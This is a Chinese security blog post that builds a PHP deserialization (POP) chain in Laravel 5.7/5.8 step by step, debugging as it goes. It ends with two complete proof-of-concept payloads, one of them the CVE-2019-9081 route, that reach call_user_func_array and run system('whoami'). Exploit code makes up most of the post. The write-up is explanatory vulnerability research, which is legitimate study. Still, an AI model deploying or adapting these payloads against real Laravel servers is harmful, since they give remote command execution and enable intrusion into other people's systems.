Hed9eh0g

前进的路上总是孤独的

laravel5.8.x 反序列化详记(三)

本文共计有14620个字

前言

这是继前两篇laravel系列之后所记录的第二条链,其实这条链同样适用于5.7,其分析过程可以说比较复杂,因此采用边debug边构造POC更加方便,算是一项技巧吧。

POP链构造

寻找__destruct方法

全局搜索之后,这次关注PendingCommand类(Illuminate\Foundation\Testing):

    public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

要执行run方法之前必须绕过if判断,但由于hasExecuted默认为false,所以可以不必理会。

跟进run方法

    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

先跟进一开始的mockConsoleOutput方法

跟进mockConsoleOutput方法

    protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

代码看起来很不友好,对于无需知道具体开发流程的我们来说,通过debug和报错信息来写POC会比较方便一些,所以先跳过该方法回到run方法中。

回到run方法

先跳过mockConsoleOutput方法,关注到下面try模块的代码:

 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

仍然有点长,不过分开来看就简单了:

  • app[Kernel::class]:数组名为app,其元素的键名为Kernel::class,也即键名为Kernel这个类的命名空间路径。

  • call方法,而且有两个可控参数commandparameters

因此要全局搜索存在call方法的类,这里选择Kernel类:

《laravel5.8.x 反序列化详记(三)》

跟进call方法

    public function call($command, array $parameters = [], $outputBuffer = null);
    /**
     * Queue an Artisan console command by name.
     *
     * @param  string  $command
     * @param  array  $parameters
     * @return \Illuminate\Foundation\Bus\PendingDispatch
     */

根据注释可知,command应该为字符串类型,parameters应该为数组类型。到这里可以尝试写POC进行试探。

初步编写POC

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;

        public function __construct($command="",$parameters="")
        {
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace{
    $p = new Illuminate\Foundation\Testing\PendingCommand("abc",array("abc"));
    echo urlencode(serialize($p));
}

传值得到报错信息(这方面laravelthinkphp做的好):

《laravel5.8.x 反序列化详记(三)》

报错:Trying to get property 'expectedOutput' of non-object

对应出错的位置在createABufferedOutputMock方法中的foreach中,正是由于有$this->test->expectedOutput语句而报错:找不到expectedOutput这个属性。

回溯一下,这里调用createABufferedOutputMock方法是来自mockConsoleOutput方法中对$mock变量的赋值,而mockConsoleOutput方法则来自一开始的run方法的第二行代码。

既然说test$expectedOutput这个属性不存在,那就通过全局搜索哪个类存在expectedOutput这个属性,但这里应该要顾及到执行完mockConsoleOutput之后的foreach循环中,同时还需要让test拥有$expectedQuestions这个属性:

《laravel5.8.x 反序列化详记(三)》

所以综合起来就是说要找一个同时拥有$expectedOutput$expectedQuestions两个属性的类。

《laravel5.8.x 反序列化详记(三)》

InteractsWithConsole.php中的InteractsWithConsole这个trait类中恰好就存在这两个属性。

因此test应该赋值为InteractsWithConsole一个对象,又由于是trait的缘故,所以需要找到引用他的类,通过find usage,找到了TestCase类(Illuminate\Foundation\Testing):

《laravel5.8.x 反序列化详记(三)》

又由于TestCase类是abstract抽象类,所以还要找到继承它的类,这里选的是ExampleTest类(Tests\Feature\ExampleTest,尝试了其他的类一直无法实现):

《laravel5.8.x 反序列化详记(三)》

修改POC

所以在之前的POC基础上修改,增加PendingCommand类的一个属性$test,并让它为ExampleTest类的一个对象。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $command;
        protected $parameters;

        public function __construct($test,$command="",$parameters="")
        {
            $this->test=test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,"aaa",array("aaa"));
    echo urlencode(serialize($p));
}

出现新的报错信息:

《laravel5.8.x 反序列化详记(三)》

报错:Call to a member function bind() on null

这次出错的位置是在mockConsoleOutput中后部分的调用bind方法操作,说明我们已经跳过了前面createABufferedOutputMockforeach循环两部分:

《laravel5.8.x 反序列化详记(三)》

之所以会报错是因为app没有赋值,根本无法调用app->bind,因此要先搜索存在bind方法的类,而且要求第一个参数名为abstract

《laravel5.8.x 反序列化详记(三)》

这里选合适的Container类(Illuminate\Container)

修改POC

在前面POC的基础上新增加PendingCommand类的一个属性app,并且让它为Container类的一个对象。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test,$app,$command="",$parameters="")
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Container{
    class Container{}
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $c = new Illuminate\Container\Container();
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
    echo urlencode(serialize($p));
}

再次得到新的报错信息:

《laravel5.8.x 反序列化详记(三)》

报错:[Illuminate\Contracts\Console\Kernel] is not instantiable.

直接翻译就是某个地方无法实例化,出错的位置在notInstantiable方法中,通过debug看哪里调用了notInstantiable方法。

发现出现在build方法中:

《laravel5.8.x 反序列化详记(三)》

由于Illuminate\Contracts\Console\Kernel是一个interface类型,无法进行实例化而报错。

《laravel5.8.x 反序列化详记(三)》

调用该build方法的原因是在resolve方法中被调用,所以想办法在build方法被调用之前就把resolve方法结束。

跟进resolve方法

    protected function resolve($abstract, $parameters = [], $raiseEvents = true)
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        ······

关注第三行的if判断,如果能够成功return就可以提前结束resolved方法了。

因此只需让isset($this->instances[$abstract])==true$needsContextualBuild==false即可。

后者已经默认实现,现在只要在Container类中添加一个instances数组即可,该数组必须要有一个键名为$abstract也即Illuminate\Contracts\Console\Kernel的元素。

修改POC

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test,$app,$command="",$parameters="")
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Container{
    class Container{
        protected $instances = [];
        public function __construct($instances="")
        {
            $this->instances = $instances;
        }
    }
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>1));
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
    echo urlencode(serialize($p));
}

此时成功return,也意味着resolve方法执行结束。

《laravel5.8.x 反序列化详记(三)》

此时再看看运行结果,出现了报错:

《laravel5.8.x 反序列化详记(三)》

报错信息:Call to a member function call() on int

直接翻译就是:在int上调用成员函数Call (),结合错误的位置,我们可以得知在结束resolve方法之后,再经过一系列操作最终把一开始的run方法中那个很复杂没有去理他的mockConsoleOutput也执行完毕了,此时正在执行的是:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

而且call的前部分执行之后有:

$this->app[Kernel::class]=1

我们可以设置两个断点来验证:

第一个断点设在run方法中:

《laravel5.8.x 反序列化详记(三)》

第二个断点设在刚刚的对instances数组判断:

《laravel5.8.x 反序列化详记(三)》

debug发现程序先到达的是第一个断点,之后再到达第二个断点,而且在第二个断点有:

《laravel5.8.x 反序列化详记(三)》

也即刚才我们成功return的那一步。

return出键名Illuminate\Contracts\Console\Kernel所对应的值1,由于1是int类型无法执行call方法从而导致报错。

因此我们尝试修改POC中instances数组Illuminate\Contracts\Console\Kernel键名所对应的值为一个类,而且要求这个类存在call方法。

而恰好Container类存在call方法:

    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

因此尝试让instances数组Illuminate\Contracts\Console\Kernel键名所对应的值为Container类,但因为这个类在POC中已经被用了,可以退一步找一个继承它的子类,似乎只有一个子类Application(Illuminate\Foundation)。

《laravel5.8.x 反序列化详记(三)》

修改POC

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test,$app,$command="",$parameters="")
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Container{
    class Container{
        protected $instances = [];
        public function __construct($instances="")
        {
            $this->instances = $instances;
        }
    }
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Illuminate\Foundation{
    class Application{}
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $a=new Illuminate\Foundation\Application();
    $c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"aaa",array("aaa"));
    echo urlencode(serialize($p));
}

继续debug,发现return出Application类之后,开始调用BoundMethod类的call方法:

《laravel5.8.x 反序列化详记(三)》

跟进call方法

    public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }

只需关注最后的call_user_func_array方法,执行之前调用了getMethodDependencies方法,跟进该方法:

    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }

该方法最终返回的是array_merge($dependencies, $parameters),也即将$dependencies$parameters合并,而且前者一直为空,后者是我们可以控制的。

执行完该方法之后回到call方法中,执行call_user_func_array($callback,array_merge($dependencies, $parameters)),也即执行call_user_func_array($command,$parameters),而这两个参数是可以被我们控制的。

最终POC

这里以执行system('whoami')为例,对应的$command='system'、$parameters=['whoami']

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test,$app,$command="",$parameters="")
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Container{
    class Container{
        protected $instances = [];
        public function __construct($instances="")
        {
            $this->instances = $instances;
        }
    }
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Illuminate\Foundation{
    class Application{}
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $a=new Illuminate\Foundation\Application();
    $c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"system",array("whoami"));
    echo urlencode(serialize($p));
}

运行结果:

《laravel5.8.x 反序列化详记(三)》

另一种构造思路(CVE-2019-9081)

发布者文章

思路是在出现报错信息:[Illuminate\Contracts\Console\Kernel] is not instantiable.时所得到的另一种不同的处理方式。

回顾一下,之所以会出现该报错是因为当$concrete=Illuminate\Contracts\Console\Kernel时,在resolve方法中进入了build方法,而build方法中对$concrete先执行发射类操作,然后再判断该类是否可实例化,由于Illuminate\Contracts\Console\Kernel是一个interface类而报错。

《laravel5.8.x 反序列化详记(三)》

上一个思路是直接在build方法执行前结束掉resolve方法。

那如果不让其结束,而是继续执行build方法,有没有办法改变$concrete的值,使其是一个可实例化的类而不报错?回到resolve方法,发现在调用build方法之前有一句对$concrete的赋值语句:

《laravel5.8.x 反序列化详记(三)》

跟进getConcrete方法:

    protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }

        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

可以发现bindings只是Container类的一个属性,是可以受我们控制的,我们完全可以通过控制它进而改变$concrete为我们想要指定的类。

接下来就是要让其为哪个类的问题,结合上一个思路尝试让指定的类为Illuminate\Contracts\Console\Kernel,编写POC:

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test,$app,$command="",$parameters="")
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Container{
    class Container{

        protected $bindings = [];
        public function __construct($bindings)
        {
            $this->bindings = $bindings;
        }

    }
}

namespace Illuminate\Foundation\Testing\Concerns{
    trait InteractsWithConsole
    {
        public $expectedQuestions = [];
        public $expectedOutput = [];
    }
}

namespace Illuminate\Foundation\Testing{
    use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
    abstract class TestCase{
        use InteractsWithConsole;
    }
}

namespace Illuminate\Foundation{
    class Application{}
}

namespace Tests\Feature{
    use Illuminate\Foundation\Testing\TestCase;
    class ExampleTest extends TestCase{}
}

namespace{
    $e = new Tests\Feature\ExampleTest();
    $a=new Illuminate\Foundation\Application();
    //$c = new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>$a));
    $c=new Illuminate\Container\Container(array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application')));
    $e->expectedOutput = array("1"=>"1");
    $e->expectedQuestions = array("2"=>"2");
    $p = new Illuminate\Foundation\Testing\PendingCommand($e,$c,"system",array("whoami"));
    echo urlencode(serialize($p));
}

可以看到POC是成功的:

《laravel5.8.x 反序列化详记(三)》

接下来debug看看具体过程,当到达getConcrete方法中时,由于我们人为让bindings[$abstract]存在的缘故,成功改变了$concrete的值。

《laravel5.8.x 反序列化详记(三)》

接着回到resolve方法,进入isBuildable判断,判断结果为false:

《laravel5.8.x 反序列化详记(三)》

因此进入make方法,所传的参数是$concrete,而make实际上是重新执行了一次resolve方法,但由于所传的参数是$concrete,因此$abstract的值此时即为$concrete的值了,由于两者相等因此isBuildable判断结果为true,将会进入build方法:

《laravel5.8.x 反序列化详记(三)》

build方法中,就能看到使用ReflectionClass反射机制,实例化我们传入的类Application

《laravel5.8.x 反序列化详记(三)》

这样就完成我们的初衷:成功执行build方法了,并且返回的$objectApplication,此后执行的call方法与上一个分析思路相同。

参考文章

Somnus师傅的文章

CVE-2019-9081发布者文章

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注